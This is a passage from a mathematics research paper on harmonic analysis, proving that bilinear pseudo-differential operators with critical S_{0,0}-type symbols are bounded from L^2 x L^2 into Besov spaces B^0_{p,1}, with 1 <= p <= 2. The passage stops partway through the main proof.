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1,477,468,749,981 | arxiv | \section{Introduction}
In this paper,
we use the following two symbol classes of $S_{0,0}$-type.
One is the bilinear H\"ormander class $BS^{m}_{0,0}$, $m \in \R$,
consisting of all $\sigma(x,\xi_1,\xi_2) \in C^{\infty}((\R^n)^3)$ such that
\[
|\partial^{\alpha}_{x}\partial^{\beta_1}_{\xi_1}\partial^{\beta_2}_{\xi_2}
\sigma(x,\xi_1,\xi_2)|
\le C_{\alpha,\beta_1,\beta_2}(1+|\xi_1|+|\xi_2|)^m
\]
for all multi-indices $\alpha,\beta_1,\beta_2 \in \N_0^n=\{0,1,2,\dots \}^n$.
The other is $BS^{(m_1,m_2)}_{0,0}$, $m_1,m_2 \in \R$,
consisting of all $\sigma(x,\xi_1,\xi_2) \in C^{\infty}((\R^n)^3)$ such that
\[
|\partial^{\alpha}_{x}\partial^{\beta_1}_{\xi_1}\partial^{\beta_2}_{\xi_2}
\sigma(x,\xi_1,\xi_2)|
\le C_{\alpha,\beta_1,\beta_2}(1+|\xi_1|)^{m_1}(1+|\xi_2|)^{m_2} .
\]
For a symbol $\sigma$,
the bilinear pseudo-differential operators $T_{\sigma}$ is defined by
\[
T_{\sigma}(f_1,f_2)(x)
=\frac{1}{(2\pi)^{2n}}
\int_{(\R^n)^2}e^{ix\cdot(\xi_1+\xi_2)}
\sigma(x,\xi_1,\xi_2)
\widehat{f_1}(\xi_1)\widehat{f_2}(\xi_2)\, d\xi_1d\xi_2
\]
for $f_1,f_2 \in \Sh(\R^n)$.
In the linear case,
the celebrated Calder\'on-Vaillancourt theorem \cite{CV} states that
if a symbol $\sigma(x,\xi) \in C^{\infty}((\R^n)^2)$ satisfies
\begin{equation}\label{linear}
|\partial^{\alpha}_{x}\partial^{\beta}_{\xi}\sigma(x,\xi)|
\le C_{\alpha,\beta},
\end{equation}
then the corresponding pseudo-differential operator
is bounded on $L^2$.
As a bilinear counterpart of this theorem,
we naturally expect that
the condition $\sigma \in BS^0_{0,0}$
ensures the $L^2 \times L^2 \to L^1$ boundedness
of $T_{\sigma}$.
However, B\'enyi-Torres \cite{BT} pointed out
that this boundedness does not hold in general.
Michalowski-Rule-Staubach \cite{MRS}
treated the subcritical case $m<-n/2$,
and then Miyachi-Tomita \cite{MT-IUMJ} showed that
all bilinear pseudo-differential operators
with symbols in $BS^m_{0,0}$ are bounded from
$L^2 \times L^2$ to $L^1$ if and only if $m \le -n/2$.
It should be mentioned that
the stronger $L^2 \times L^2 \to h^1$ boundedness
was proved in \cite{MT-IUMJ}, where $h^1$ is the local Hardy space.
See also Miyachi-Tomita \cite{MT}
for the classes of $S_{\rho,\rho}$-type,
$0 \le \rho<1$.
Kato-Miyachi-Tomita recently proved that
if $m_1,m_2<0$,
$m_1+m_2=-n/2$ and $\sigma \in BS^{(m_1,m_2)}_{0,0}$,
then $T_{\sigma}$ is bounded from $L^2 \times L^2$ to
the amalgam space $(L^2,\ell^1)$
(\cite[Theorem 1.3, Example 1.4]{KMT}).
Here, we remark that
\begin{equation}\label{two-classes}
BS^{-n/2}_{0,0} \subset BS^{(m_1,m_2)}_{0,0},
\quad m_1,m_2 \le 0, \ m_1+m_2=-n/2.
\end{equation}
Hence, for $1 \le p \le 2$,
the $L^2 \times L^2 \to L^p$ boundedness
of $T_{\sigma}$ with $\sigma \in BS^{-n/2}_{0,0}$ follows
from the embedding $(L^2,\ell^1) \hookrightarrow L^p$
(see Section \ref{section2}).
In the linear case,
since the constant function satisfies \eqref{linear},
the $L^2 \to L^p$ boundedness of pseudo-differential operators
with symbols satisfying \eqref{linear} holds
if and only if $p=2$.
On the other hand,
in the bilinear case,
we have a choice to choose target spaces.
Thus, the purpose of this paper
is to determine the ranges of bilinear pseudo-differential operators
with symbols in the critical class $BS^{-n/2}_{0,0}$ on $L^2 \times L^2$
in the framework of Besov spaces $B_{p,q}^s$.
The main result of this paper is the following.
\begin{thm} \label{main1}
Let $m_1, m_2 < 0$ and $m_1+m_2=-n/2$.
If $1 \le p \le 2$, then all bilinear pseudo-differential operators
with symbols in $BS^{(m_1,m_2)}_{0,0}$ are bounded from $L^2(\R^n) \times L^2(\R^n)$
to $B_{p,1}^0(\R^n)$.
\end{thm}
Since $B_{1, 1}^0 \hookrightarrow L^1$
(in fact, $B_{1,1}^0 \hookrightarrow h^1 \hookrightarrow L^1$),
Theorem \ref{main1} is an improvement of the $L^2 \times L^2 \to L^1$ boundedness.
By \eqref{two-classes},
the following means the optimality of Theorem \ref{main1}.
\begin{thm} \label{main2}
Let $0 < p, q \leq \infty$.
Then all bilinear pseudo-differential operators with symbols in $BS^{-n/2}_{0,0}$
are bounded from $L^2(\R^n) \times L^2(\R^n)$ to $B^0_{p, q}(\R^n)$
if and only if $1 \leq p \leq 2$ and $1 \leq q \leq \infty$.
\end{thm}
By the ``only if" part of Theorem \ref{main2}
and the embedding $B_{p,q_1}^s \hookrightarrow B_{p,q_2}^0$
for $0<p,q_1,q_2 \le \infty$ and $s>0$,
if the $L^2 \times L^2 \to B_{p,q}^s$ boundedness
of all $T_{\sigma}$ with $\sigma \in BS^{-n/2}_{0,0}$ holds,
then $s$ must satisfy $s \le 0$.
This is the reason why
we consider the case $s=0$ in Theorems \ref{main1} and \ref{main2}.
The following says that
Theorem \ref{main1} cannot be compared with the result of \cite{KMT}.
\begin{prop}\label{main3}
There is no embedding relation between
the amalgam space $(L^2, \ell^1)(\R^n)$
and the Besov spaces $B_{p,1}^0(\R^n)$, $1 \le p \le 2$.
\end{prop}
Related results to bilinear Fourier multiplier operators of $S_{0,0}$-type
on $L^2 \times L^2$ can be found in
Grafakos-He-Slav\'ikov\'a \cite{GHS}
and Slav\'ikov\'a \cite{Slavikova}.
The contents of this paper are as follows.
In Section \ref{section2},
we give preliminary facts.
In Section \ref{section3},
we give basic estimates used in the proof of Theorem \ref{main1}.
In Sections \ref{section4}, \ref{section5} and \ref{section6},
we prove Theorems \ref{main1}, \ref{main2}
and Proposition \ref{main3}, respectively.
\section{Preliminaries}\label{section2}
For two nonnegative quantities $A$ and $B$,
the notation $A \lesssim B$ means that
$A \le CB$ for some unspecified constant $C>0$,
and $A \approx B$ means that
$A \lesssim B$ and $B \lesssim A$.
For $1 \le p \le \infty$,
$p'$ is the conjugate exponent of $p$,
that is, $1/p+1/p'=1$.
The usual inner product of $f, g \in L^2(\R^n)$ is denoted by
$\la f, g \ra$ .
Let $\Sh(\R^n)$ and $\Sh'(\R^n)$ be the Schwartz space of
rapidly decreasing smooth functions on $\R^n$ and its dual,
the space of tempered distributions, respectively.
We define the Fourier transform $\F f$
and the inverse Fourier transform $\F^{-1}f$
of $f \in \Sh(\R^n)$ by
\[
\F f(\xi)
=\widehat{f}(\xi)
=\int_{\R^n}e^{-ix\cdot\xi} f(x)\, dx
\quad \text{and} \quad
\F^{-1}f(x)
=\frac{1}{(2\pi)^n}
\int_{\R^n}e^{ix\cdot \xi} f(\xi)\, d\xi.
\]
For $m \in L^{\infty}(\R^n)$,
the Fourier multiplier operator $m(D)$ is defined by
$m(D)f=\F^{-1}[m\widehat{f}]$ for $f \in \Sh(\R^n)$.
Let $\{\psi_\ell \}_{\ell \geq 0} $ be a sequence of Schwartz functions on $\R^n$ satisfying
\begin{align} \label{Besov-parti}
\begin{split}
&\supp \psi_0 \subset \{\xi \in \R^n \,:\, |\xi| \leq 2 \},\\
&\supp \psi_\ell \subset \{ \xi \in \R^n \,:\, 2^{\ell -1 }\leq |\xi| \leq 2^{\ell + 1}\},
\quad \ell\geq 1,
\\
&|\partial^{\alpha}\psi_\ell (\xi)| \leq C_\alpha 2^{-\ell|\alpha|}, \quad \ell \geq 0,
\ \alpha \in \N^n_0, \ \xi \in \R^n,
\\
&\sum_{\ell=0}^\infty \psi_\ell(\xi) = 1, \quad \xi \in \R^n.
\end{split}
\end{align}
For $0 < p, q \leq \infty$ and $s \in \R$,
the Besov space $B^s_{p, q}(\R^n)$ consists of all $f \in \Sh'(\R^n)$
such that
\[
\|f\|_{B^s_{p, q}}=
\bigg( \sum_{\ell=0}^\infty 2^{\ell sq} \|\psi_\ell(D)f\|^q_{L^p} \bigg)^{1/q}<\infty
\]
with usual modification when $q=\infty$.
It is well known that the definition of Besov spaces
$B_{p,q}^s$ is independent of the choice
of $\{\psi_\ell\}_{\ell \geq 0}$ satisfying \eqref{Besov-parti}.
For $0 < p, q_1,q_2 \le \infty$ and $s_1,s_2 \in \R$,
the embedding $B_{p,q_1}^{s_1} \hookrightarrow B_{p,q_2}^{s_2}$ holds
if $s_1=s_2$ and $q_1 \le q_2$, or if $s_1>s_2$.
The dual space of $B^s_{p, q}$
coincides with $B^{-s}_{p^\prime, q^\prime}$,
where $1 \leq p, q < \infty$ and $s \in \R$.
See \cite{Triebel} for more details on Besov spaces.
For $1 \leq p,q \leq \infty$,
the amalgam space
$(L^p,\ell^q)(\R^n)$ consists of all measurable functions $f$ on
$\R^n$ such that
\begin{equation*}
\| f \|_{ (L^p,\ell^q)}
=\bigg\{ \sum_{\nu \in \Z^n}
\bigg( \int_{\nu+[-1/2,1/2]^n} \big| f(x) \big|^p \, dx
\bigg)^{q/p} \bigg\}^{1/q}
< \infty
\end{equation*}
with usual modification when $p$ or $q$ is infinity.
Obviously, $(L^p,\ell^p) = L^p$,
and $(L^{p_1}, \ell^{q_1})
\hookrightarrow (L^{p_2},\ell^{q_2})$
for $p_1 \geq p_2$ and $q_1 \leq q_2$.
In particular,
$(L^2,\ell^1) \hookrightarrow L^r$
for $1 \leq r \leq 2$,
and
the stronger embedding
$(L^2,\ell^1) \hookrightarrow h^1$ holds
in the case $r=1$,
where $h^1$ is the local Hardy space
(see \cite[Section 2.3]{KMT-2}).
We end this section by quoting the following, which is called Schur's lemma
(see, e.g., \cite[Appendix A]{Grafakos-Modern}).
\begin{lem}\label{Schur's lemma}
Let $\{A_{k_1, k_2}\}_{k_1, k_2 \ge 0}$ be a sequence of nonnegative numbers satisfying
\begin{align*}
\sup_{k_1 \ge 0} \sum_{k_2 \ge 0} A_{k_1, k_2} < \infty
\quad \text{and} \quad
\sup_{k_2 \ge 0} \sum_{k_1 \ge 0} A_{k_1, k_2} < \infty.
\end{align*}
Then
\begin{align*}
\sum_{k_1, k_2 \ge 0} A_{k_1, k_2} b_{k_1} c_{k_2}
\lesssim \Big(\sum_{k_1 \ge 0} b_{k_1}^2 \Big)^{1/2}\Big(\sum_{k_2 \ge 0} c_{k_2}^2 \Big)^{1/2}
\end{align*}
for all nonnegative sequences $\{b_{k_1}\}_{k_1 \ge 0}$ and $\{c_{k_2}\}_{k_2 \ge 0}$.
\end{lem}
\section{Basic estimates}\label{section3}
For $R > 0$ and $L > n$, we set
\begin{align*}
S_R(f)(x) = R^n\int_{\R^n} \frac{|f(y)|}{(1+R|x-y|)^L}\, dy,
\end{align*}
and simply write $S_1(f)(x) = S(f)(x)$.
The following lemma can be found in the proof of \cite[Lemma 4.2]{Kato}, but we will give the proof for the reader's convenience.
\begin{lem} \label{lem-dyadic-est}
Let $\varphi \in \Sh(\R^n)$. Then, we have
\begin{align*}
\bigg(\sum_{\nu \in \Z^n} |\varphi(R^{-1}(D -\nu))f(x)|^2 \bigg)^{1/2}
\lesssim R^{n/2}S_{R}(|f|^2)(x)^{1/2}
\end{align*}
for all $R \ge 1$, where $\varphi(R^{-1}(D -\nu))f = \F^{-1}[\varphi(R^{-1}(\cdot -\nu)) \widehat{f}]$.
\end{lem}
\begin{proof}
Since $\R^n = \cup_{\mu \in \Z^n} (2\pi\mu + [-\pi, \pi]^n)$,
we have
\begin{align*}
&\varphi(R^{-1}(D-\nu))f(x)
= R^n \int_{\R^n} e^{i\nu\cdot(x-y)}
\Phi(R(x-y)) f(y) \,dy \\
&= R^n e^{i\nu\cdot x}\sum_{\mu \in \Z^n} \int_{2\pi\mu + [-\pi, \pi]^n} e^{-i\nu\cdot y}
\Phi(R(x-y)) f(y) \,dy\\
&= R^n e^{i\nu\cdot x} \int_{[-\pi, \pi]^n} e^{-i\nu\cdot y}
\Big(
\sum_{\mu \in \Z^n} \Phi(R(x-y-2\pi\mu)) f(y+2\pi\mu)
\Big)\,
dy,
\end{align*}
where $\Phi = \F^{-1}\varphi$.
Here, $\sum_{\mu \in \Z^n} \Phi(R(x-y-2\pi\mu)) f(y+2\pi\mu)$
is a $(2\pi \Z)^n$-periodic function of the $y$-variable. Hence, it follows
from Parseval's identity that
\begin{align*}
&\Big( \sum_{\nu \in \Z^n} |\varphi(R^{-1}(D-\nu))f(x)|^2 \Big)^{1/2} \\
&=(2\pi)^{n/2} R^n
\Big(
\int_{[-\pi, \pi]^n} \Big| \sum_{\mu \in \Z^n}\Phi(R(x-y-2\pi\mu)) f(y+2\pi\mu) \Big|^2 dy
\Big)^{1/2}.
\end{align*}
Since
\begin{align*}
\sup_{z \in \R^n}\sum_{\mu \in \Z^n} |\Phi(R(z-2\pi\mu))|
&\lesssim
\sup_{z \in \R^n}\sum_{\mu \in \Z^n} (1+R|z-2\pi\mu|)^{-(n+1)}\\
&\leq
\sup_{z \in \R^n}\sum_{\mu \in \Z^n} (1+|z-2\pi\mu|)^{-(n+1)}
\lesssim 1,
\end{align*}
where we used the assumption $R \ge 1$ in the second inequality, we have by Schwarz's inequality
\begin{align*}
&\Big(
\int_{[-\pi, \pi]^n} \Big| \sum_{\mu \in \Z^n}\Phi(R(x-y-2\pi\mu)) f(y+2\pi\mu) \Big|^2 dy
\Big)^{1/2}\\
&\lesssim
\Big(
\int_{[-\pi, \pi]^n} \sum_{\mu \in \Z^n} |\Phi(R(x-y-2\pi\mu))| |f(y+2\pi\mu)|^2 dy
\Big)^{1/2}\\
&=\Big(
\int_{\R^n} |\Phi(R(x-y))| |f(y)|^2 dy
\Big)^{1/2}.
\end{align*}
Since $\Phi$ is a rapidly decreasing function, this gives the desired estimate.
\end{proof}
In the rest of this section, we assume that $m_1, m_2 \in \R$ and
$\sigma \in BS^{(m_1, m_2)}_{0, 0}$, and shall consider the decomposition of $\sigma$.
Let $\{\psi_j\}_{j \geq 0}$ be as in (\ref{Besov-parti}), and let $\varphi \in \Sh(\R^n)$
be such that
\begin{align*}
\supp \varphi \subset [-1, 1]^n
\quad \text{and} \quad
\sum_{\nu \in \Z^n} \varphi(\xi- \nu) = 1, \quad \xi \in \R^n.
\end{align*}
Using these functions, we decompose $\sigma$ as
\begin{align} \label{decomp-symb}
\sigma(x, \xi_1, \xi_2)
= \sum_{j \in \N_0} \sum_{\substack{\K \in (\N_0)^2 \\ \K= (k_1, k_2)}} \sigma_{j, \K} (x, \xi_1, \xi_2)
= \sum_{j \in \N_0} \sum_{\substack{\K \in (\N_0)^2 \\ \K= (k_1, k_2)}} \sum_{\substack{\Nu \in (\Z^n)^2 \\ \Nu= (\nu_1, \nu_2)}} \sigma_{j, \K, \Nu} (x, \xi_1, \xi_2)
\end{align}
with
\begin{align*}
\sigma_{j, \K} (x, \xi_1, \xi_2)
&= [\psi_j(D_x)\sigma](x, \xi_1, \xi_2)\psi_{k_1}(\xi_1)\psi_{k_2}(\xi_2)\\
&= \Big(
\int_{\R^n} \F^{-1}\psi_j(y) \sigma(x-y, \xi_1, \xi_2)\, dy
\Big) \psi_{k_1}(\xi_1)\psi_{k_2}(\xi_2)
\end{align*}
and
\begin{align*}
\sigma_{j, \K, \Nu} (x, \xi_1, \xi_2) =
\sigma_{j, \K} (x, \xi_1, \xi_2) \varphi(\xi_1-\nu_1) \varphi(\xi_2-\nu_2).
\end{align*}
\begin{lem} \label{lem-symb-est}
$(1)$
For each $\beta_1, \beta_2 \in (\N_0)^n$ and $N \in \N_0$, we have
\begin{align*}
|\pa^{\beta_1}_{\xi_1} \pa^{\beta_2}_{\xi_2} \sigma_{j, \K, \Nu}(x, \xi_1, \xi_2)| \lesssim 2^{k_1m_1 +k_2m_2 -jN}
\end{align*}
for all $j \in \N_0, \, \K = (k_1, k_2) \in (\N_0)^2$ and $\Nu \in (\Z^n)^2$.\\
$(2)$ For each $N \in \N_0$, we have
\begin{align*}
|T_{\sigma_{j, \K,\Nu}}(f_1, f_2)(x) | \lesssim 2^{k_1m_1 +k_2m_2 -jN} S(f_1)(x) S(f_2)(x)
\end{align*}
for all $j \in \N_0, \, \K = (k_1, k_2) \in (\N_0)^2$ and $\Nu \in (\Z^n)^2$.
\end{lem}
\begin{proof}
We first prove the assertion $(1)$.
Let $j \geq 1$. By the moment condition of $\F^{-1}\psi_j$
and Taylor's formula, we have
\begin{align*}
&\sigma_{j, \K, \Nu}(x, \xi_1, \xi_2) \\
&= \int_{\R^n} \F^{-1}\psi_j(y)
\Big(
\sigma_{\K, \Nu}(x-y, \xi_1, \xi_2)
- \sum_{|\alpha| < N} \frac{(-y)^{\alpha}}{\alpha!}
[\partial_x^\alpha
\sigma_{\K, \Nu}](x, \xi_1, \xi_2)
\Big) \,dy\\
&= \int_{\R^n} \F^{-1}\psi_j(y)
\Big(
N \sum_{|\alpha| = N} \frac{(-y)^{\alpha}}{\alpha!}
\int_0^1 (1-t)^{N-1} [\partial_x^\alpha
\sigma_{\K, \Nu}](x-ty, \xi_1, \xi_2)\, dt
\Big) \,dy ,
\end{align*}
where
\[
\sigma_{\K, \Nu}(x, \xi_1, \xi_2)
=\sigma(x,\xi_1,\xi_2)
\psi_{k_1}(\xi_1)\psi_{k_2}(\xi_2)
\varphi(\xi_1-\nu_1) \varphi(\xi_2-\nu_2) .
\]
Since $1 + |\xi_i| \approx 2^{k_i}$ for $\xi_i \in \supp \psi_{k_i}$,
we see that
\begin{align*}
|\partial_x^\alpha \partial_{\xi_1}^{\beta_1} \partial_{\xi_2}^{\beta_2}
\sigma_{\K, \Nu}(x, \xi_1, \xi_2)| \lesssim 2^{k_1m_1+k_2m_2}.
\end{align*}
Hence,
\begin{align*}
&|\partial_{\xi_1}^{\beta_1} \partial_{\xi_2}^{\beta_2}
\sigma_{j, \K, \Nu}(x, \xi_1, \xi_2)|\\
&\lesssim \int_{\R^n} |\F^{-1}\psi_j(y)|
\Big(
\sum_{|\alpha| = N} |y^{\alpha}|
\int_0^1 |[\partial_x^\alpha \partial_{\xi_1}^{\beta_1} \partial_{\xi_2}^{\beta_2}
\sigma_{\K, \Nu}](x-ty, \xi_1, \xi_2)|\,dt
\Big) \,dy\\
&\lesssim 2^{k_1m_1+k_2m_2} \int_{\R^n} |\F^{-1}\psi_j(y)| |y|^N \, dy
\lesssim 2^{k_1m_1+k_2m_2-jN},
\end{align*}
where we used the inequality $|\F^{-1}\psi_j(y)| \lesssim 2^{jn}(1+2^j|y|)^{-(N+n+1)}$. If we do not use the moment condition in the above argument, we have the same estimate with $j=0$. The proof of the assertion $(1)$ is complete.
Next, we will show the assertion (2). We write
\begin{align*}
T_{\sigma_{j, \K, \Nu}}(f_1, f_2)(x)
= \int_{(\R^n)^2} K_{j, \K, \Nu}(x, x-y_1, x-y_2) f_1(y_1)f_2(y_2)\, dy_1 dy_2,
\end{align*}
where $K_{j, \K, \Nu}$ is defined by
\begin{align*}
K_{j, \K, \Nu}(x, y_1, y_2) =
\frac{1}{(2\pi)^{2n}}\int_{(\R^n)^2} e^{i(y_1 \cdot \xi_1+y_2 \cdot \xi_2)} \sigma_{j, \K, \Nu}(x, \xi_1, \xi_2) \, d\xi_1 d\xi_2.
\end{align*}
It follows from integration by parts,
the assertion (1) and the support condition
$\supp \sigma_{j, \K, \Nu}(x,\cdot,\cdot) \subset (\nu_1, \nu_2) + [-1, 1]^{2n}$
for each $x \in \R^n$
that
\begin{align*}
|K_{j, \K, \Nu}(x, y_1, y_2)| \lesssim 2^{k_1m_1+k_2m_2 -jN}(1+|y_1|)^{-L} (1+|y_2|)^{-L},
\end{align*}
which gives the desired result.
\end{proof}
The following lemma plays a crucial role in the proof of Theorem \ref{main1},
and its essence goes back to \cite[Lemma 3.6]{MT}.
\begin{lem} \label{lem-L2L2Lr-est}
Let $2 \leq r \leq \infty$, and let $\Lambda$ be a finite subset of $\Z^n$.
For each $N \ge 0$, we have
\begin{multline*}
\Big(
\sum_{\nu_1 \in \Lambda} \sum_{\nu_2 \in \Z^n} +
\sum_{\nu_1 \in \Z^n} \sum_{\nu_2 \in \Lambda} +
\sum_{\mu \in \Lambda} \sum_{\nu_1+\nu_2 = \mu}
\Big)
|\la T_{\sigma_{j, \K, \Nu}}(f_1, f_2), g \ra|
\\
\lesssim 2^{k_1 m_1+k_2 m_2 -jN}
|\Lambda|^{1/2} \|f_1\|_{L^2}\|f_2\|_{L^2} \|g\|_{L^r}
\end{multline*}
for all $j \in \N_0$ and $\K=(k_1,k_2) \in (\N_0)^2$,
where $|\Lambda|$ is the number of elements of $\Lambda$.
\end{lem}
\begin{proof}
Let $\widetilde{\varphi}$ be a Schwartz function such that
$\supp \widetilde{\varphi} \subset [-2, 2]^n$ and $\widetilde{\varphi}(\xi) = 1$ on $ [-1, 1]^n$. For $\nu_i \in \Z^n$, $i=1,2$, $\mu \in \Z^n$ and $j \geq 0$, we set
\begin{align*}
f_{i, \nu_i} = \widetilde{\varphi}(D-\nu_i)f_i,
\quad
g_{j, \mu} = \widetilde{\varphi}(2^{-(j+2)}(D-\mu))g.
\end{align*}
Then, it follows from the identity $\varphi \widetilde{\varphi} = \varphi$ that
\begin{equation}\label{AAA}
T_{\sigma_{j, \K, \Nu}}(f_1, f_2) = T_{\sigma_{j, \K, \Nu}}( f_{1, \nu_1}, f_{2, \nu_2}) .
\end{equation}
The Fourier transform of $T_{\sigma_{j, \K, \Nu}}(f_1, f_2)$ can be written as
\begin{align*}
&\F[T_{\sigma_{j, \K, \Nu}}(f_1, f_2)](\zeta)\\
&= \frac{1}{(2\pi)^{2n}}\int_{(\R^n)^2}
\psi_{j}(\zeta- (\xi_1+\xi_2)) [\F_x\sigma](\zeta-(\xi_1+\xi_2), \xi_1, \xi_2)\\
&\qquad\qquad\qquad \times \psi_{k_1}(\xi_1)\psi_{k_2}(\xi_2)
\varphi(\xi_1-\nu_1)\varphi(\xi_2-\nu_2)
\widehat{f_1}(\xi_1) \widehat{f_2}(\xi_2)\,d\xi_1d\xi_2,
\end{align*}
where $\F_x\sigma$ denotes the partial Fourier transform
of $\sigma(x,\xi_1,\xi_2)$ with respect to the $x$-variable.
Now, if $\xi_i \in \supp \varphi(\cdot - \nu_i)$ for
$i=1,2 $ and $\zeta - (\xi_1+\xi_2) \in \supp \psi_j $, then
$\zeta \in \nu_1 +\nu_2 + \left[-2^{j+2}, 2^{j+2} \right]^n$. This implies that
\begin{align} \label{supp-uniform}
\supp \F[T_{\sigma_{j, \K, \Nu}}(f_1, f_2)]
\subset \nu_1+ \nu_2 +\left[-2^{j+2}, 2^{j+2} \right]^n.
\end{align}
Hence, it follows from \eqref{AAA} that
\begin{equation}\label{trilin-rep}
\begin{split}
\la T_{\sigma_{j, \K, \Nu}}( f_1, f_2), g \ra
&=\la T_{\sigma_{j, \K, \Nu}}( f_1, f_2), g_{j,\nu_1+\nu_2} \ra
\\
&= \la T_{\sigma_{j, \K, \Nu}}( f_{1, \nu_1}, f_{2, \nu_2}), g_{j, \nu_1+\nu_2} \ra.
\end{split}
\end{equation}
First, we consider the sum $\sum_{\nu_1 \in \Lambda} \sum_{\nu_2 \in \Z^n}$.
By \eqref{trilin-rep},
Lemma \ref{lem-symb-est} (2) with $N$ replaced by $N+n/2+n/r$
and Schwarz's inequality, we have
\begin{align*}
&\sum_{\nu_1 \in \Lambda} \sum_{\nu_2 \in \Z^n} |\la T_{\sigma_{j, \K, \Nu}}( f_1, f_2), g\ra|
= \sum_{\nu_1 \in \Lambda} \sum_{\nu_2 \in \Z^n} |\la T_{\sigma_{j, \K, \Nu}}( f_{1, \nu_1}, f_{2, \nu_2}), g_{j, \nu_1+\nu_2}\ra| \\
&\lesssim 2^{k_1m_1 + k_2m_2-j(N+n/2+n/r)}
\sum_{\nu_1 \in \Lambda} \sum_{\nu_2 \in \Z^n}
\int_{\R^n} S(f_{1, \nu_1})(x) S(f_{2, \nu_2})(x) |g_{j, \nu_1+\nu_2}(x)| \, dx \\
&\leq 2^{k_1m_1 + k_2m_2-j(N+n/2+n/r)} \\
&\quad \times
\sum_{\nu_1 \in \Lambda}
\int_{\R^n} S(f_{1, \nu_1})(x)
\Big( \sum_{\nu_2 \in \Z^n} S(f_{2, \nu_2})(x)^2 \Big)^{1/2}
\Big( \sum_{\nu_2 \in \Z^n} |g_{j, \nu_1+\nu_2}(x)|^2 \Big)^{1/2} \, dx \\
&\leq 2^{k_1m_1 + k_2m_2-j(N+n/2+n/r)} |\Lambda|^{1/2}\\
&\quad\times
\int_{\R^n}
\Big( \sum_{\nu_1 \in \Z^n} S(f_{1, \nu_1})(x)^2 \Big)^{1/2}
\Big( \sum_{\nu_2 \in \Z^n} S(f_{2, \nu_2})(x)^2 \Big)^{1/2}
\Big( \sum_{\mu \in \Z^n} |g_{j, \mu}(x)|^2\Big)^{1/2} \, dx.
\end{align*}
It follows from Lemma \ref{lem-dyadic-est} that
\begin{align*}
\Big( \sum_{\nu_1 \in \Z^n} S(f_{1, \nu_1})(x)^2 \Big)^{1/2}
&\lesssim \Big( \sum_{\nu_1 \in \Z^n} S(|f_{1, \nu_1}|^2)(x) \Big)^{1/2}
=\Big( S\Big(\sum_{\nu_1 \in \Z^n} |f_{1, \nu_1}|^2 \Big)(x) \Big)^{1/2} \\
&\lesssim S(S(|f_1|^2))(x)^{1/2}
\approx S(|f_1|^2)(x)^{1/2}
\end{align*}
and
\begin{align*}
\Big( \sum_{\mu \in \Z^n} |g_{j, \mu}(x)|^2\Big)^{1/2}
&\lesssim 2^{(j+2)n/2}S_{2^{j+2}}(|g|^2)(x)^{1/2}
\\
&\lesssim 2^{jn} \Big( \int_{\R^n} \frac{1}{(1+2^{j}|x-y|)^{Lq}}\, dy \Big)^{1/q}
\Big( \int_{\R^n} |g(y)|^r \,dy \Big)^{1/r}
\\
&\approx 2^{jn(1/2+1/r)}\|g\|_{L^r},
\end{align*}
where we used H\"older's inequality with $1/q+1/r=1/2$
in the second inequality.
Therefore, by Schwarz's inequality and Young's inequality, we obtain
\begin{align*}
&\sum_{\nu_1 \in \Lambda} \sum_{\nu_2 \in \Z^n} |\la T_{\sigma_{j, \K, \Nu}}( f_1, f_2), g \ra|\\
&\lesssim 2^{k_1m_1 + k_2m_2-jN} |\Lambda|^{1/2}
\Big(\int_{\R^n}S(|f_1|^2)(x)^{1/2} S(|f_2|^2)(x)^{1/2} \, dx \Big)
\|g\|_{L^r}\\
&\leq 2^{k_1m_1 + k_2m_2-jN} |\Lambda|^{1/2}
\|S(|f_1|^2)^{1/2}\|_{L^2} \|S(|f_2|^2)^{1/2}\|_{L^2} \|g\|_{L^r}\\
&\approx 2^{k_1m_1 + k_2m_2-jN} |\Lambda|^{1/2}
\|f_1\|_{L^2} \|f_2\|_{L^2} \|g\|_{L^r}.
\end{align*}
In the same way, we can estimate the sum $\sum_{\nu_1 \in \Z^n} \sum_{\nu_2 \in \Lambda}$.
Next, we consider the sum $\sum_{\mu \in \Lambda} \sum_{\nu_1+\nu_2 = \mu}$.
By (\ref{trilin-rep}), Lemma \ref{lem-symb-est} (2) and Schwarz's inequality,
\begin{align*}
&\sum_{\mu \in \Lambda} \sum_{\nu_1+\nu_2 = \mu} |\la T_{\sigma_{j, \K, \Nu}}( f_1, f_2), g \ra|
=\sum_{\mu \in \Lambda} \sum_{\nu_1+\nu_2 = \mu} |\la T_{\sigma_{j, \K, \Nu}}( f_{1, \nu_1}, f_{2, \nu_2}), g_{j, \nu_1+\nu_2}\ra|\\
&\lesssim 2^{k_1m_1 + k_2m_2-j(N+n/2+n/r)}
\sum_{\mu \in \Lambda} \sum_{\nu_1 \in \Z^n}
\int_{\R^n} S(f_{1, \nu_1})(x) S(f_{2, \mu-\nu_1})(x) |g_{j, \mu}(x)| \, dx\\
&\leq 2^{k_1m_1 + k_2m_2-j(N+n/2+n/r)} \\
&\quad \times
\sum_{\mu \in \Lambda} \int_{\R^n}
\Big( \sum_{\nu_1 \in \Z^n} S(f_{1, \nu_1})(x)^2 \Big)^{1/2}
\Big( \sum_{\nu_1 \in \Z^n} S(f_{2, \mu-\nu_1})(x)^2 \Big)^{1/2}
|g_{j, \mu}(x)| \, dx \\
&\leq 2^{k_1m_1 + k_2m_2-j(N+n/2+n/r)} |\Lambda|^{1/2}\\
&\times
\int_{\R^n}
\Big( \sum_{\nu_1 \in \Z^n} S(f_{1, \nu_1})(x)^2 \Big)^{1/2}
\Big( \sum_{\nu_2 \in \Z^n} S(f_{2, \nu_2})(x)^2 \Big)^{1/2}
\Big( \sum_{\mu \in \Z^n} |g_{j, \mu}(x)|^2\Big)^{1/2} \, dx.
\end{align*}
The rest of the proof is the same as before. The proof is complete.
\end{proof}
\section{Proof of Theorem \ref{main1}}\label{section4}
Let $m_1$, $m_2$, $\sigma$ and $p$ be the same
as in Theorem \ref{main1}.
To obtain Theorem \ref{main1}, by duality,
it is sufficient to prove that
\begin{align*}
|\la T_\sigma(f_1, f_2), g \ra| \lesssim \|f_1\|_{L^2} \|f_2\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}.
\end{align*}
From (\ref{decomp-symb}), we can write
\begin{align*}
&\la T_\sigma(f_1, f_2), g \ra
= \sum_{j\ge 0} \sum_{\K \in (\N_0)^2} \sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_1, f_2), g \ra \\
&= \sum_{j\ge 0}
\sum_{k_1 \geq k_2}
\sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_1, f_2), g \ra
+
\sum_{j\ge 0}
\sum_{k_1 < k_2}
\sum_{\Nu \in (\Z^n)^2}
